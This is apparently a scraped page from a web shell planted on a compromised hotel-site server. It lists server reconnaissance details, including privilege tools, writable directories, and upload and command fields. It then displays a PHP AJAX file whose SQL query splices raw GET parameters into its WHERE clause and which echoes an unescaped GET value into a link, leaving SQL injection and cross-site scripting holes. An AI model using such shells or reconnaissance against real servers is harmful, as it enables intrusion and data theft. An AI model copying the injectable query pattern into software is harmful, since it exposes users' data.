403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.76
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/mod/concierge_cgr_ajax.php
<?php
	include('_mod_security.php');
	$sql = '';
	switch ($_GET['func']):
		case 'grid' :
			require_once('classes/lcs_db_grid.php');
			$dbg = new lcs_db_grid;
			$dbg->start_header_section();
			$dbg->start_header();
			$dbg->add_column(array('label' => 'Create Date', 'dbcol' => 'e.event_date_time', 'width' => '150px'));
			$dbg->add_column(array('label' => 'Reward Type', 'dbcol' => 'cgrt.cgr_type', 'width' => '150px'));
			$dbg->add_column(array('label' => 'Event Name', 'dbcol' => 'e.event_name', 'width' => '240px'));
			$dbg->add_column(array('label' => 'Event Date/Time', 'dbcol' => 'e.event_date_time', 'width' => '150px'));
			$dbg->add_column(array('label' => 'Points', 'dbcol' => 'cgr.points', 'width' => '70px', 'align' => 'right'));
			$dbg->add_column(array('label' => 'CSV Pull Date', 'dbcol' => 'cgrp.pull_date', 'width' => '150px'));
			$dbg->add_column(array('label' => 'Comments', 'dbcol' => 'cgr.comments', 'width' => '160px'));
			$dbg->end_header();
			$dbg->end_header_section();
			$sql = "SELECT cgr.*, cgrt.cgr_type AS cgr_type, e.event_name, e.event_date_time, cgrp.id AS cgr_pull_id, cgrp.pull_date FROM cg_rewards cgr ".
					"JOIN cg_reward_types cgrt ON (cgr.cgr_type_id = cgrt.id) ".
					"LEFT OUTER JOIN cg_reward_pulls cgrp ON (cgr.cgr_pull_id = cgrp.id) ".
					"LEFT OUTER JOIN events e ON (e.event_id = cgr.event_id) ".
					"WHERE ".$dbg->search_spec()."  ".$_GET['parm1']." ".$_GET['parm2']." ".$_GET['parm3']." ".
					"ORDER BY ".$dbg->sort_spec();
			//echo ' === '.$sql.' === ';
			$xls_sql = $sql;
			$xls_sql_encoded = xls_sql_encrypt($xls_sql);
			$result = $db->query($sql) or die('Database Error!');
			$dbg->start_data_section();
			$total_points = 0;
			if ($result->rowCount() > 0) :
				while ($row = $result->fetch(PDO::FETCH_OBJ)) :
					$dbg->start_row();
					$dbg->add_cell('<a href="index.php?IX='.$_GET['ix_form'].'&concierge_id='.$row->concierge_id.'&id='.$row->id.'" >'.nzdate_display_datetime($row->create_date).'</a>');
					$dbg->add_cell($row->cgr_type);
					$dbg->add_cell($row->event_name);
					$dbg->add_cell(nzdate_display_datetime($row->event_date_time));
					$dbg->add_cell($row->points);
					$dbg->add_cell(nzdate_display_datetime($row->pull_date));
					$dbg->add_cell($row->comments);
					$dbg->end_row();
					$total_points += $row->points;
				endwhile;
			else :
				$dbg->start_row();
				$dbg->add_cell('No records found');
				$dbg->end_row();
			endif;
			$dbg->end_data_section();
			echo json_encode(array('row_count' => $result->rowCount(), 'html' => $dbg->get_html(), 'xls_sql' => $xls_sql_encoded, 'extra_data'=> 'Total points: '.$total_points));
			return;
			break;
	endswitch;

Youez - 2016 - github.com/yon3zu
LinuXploit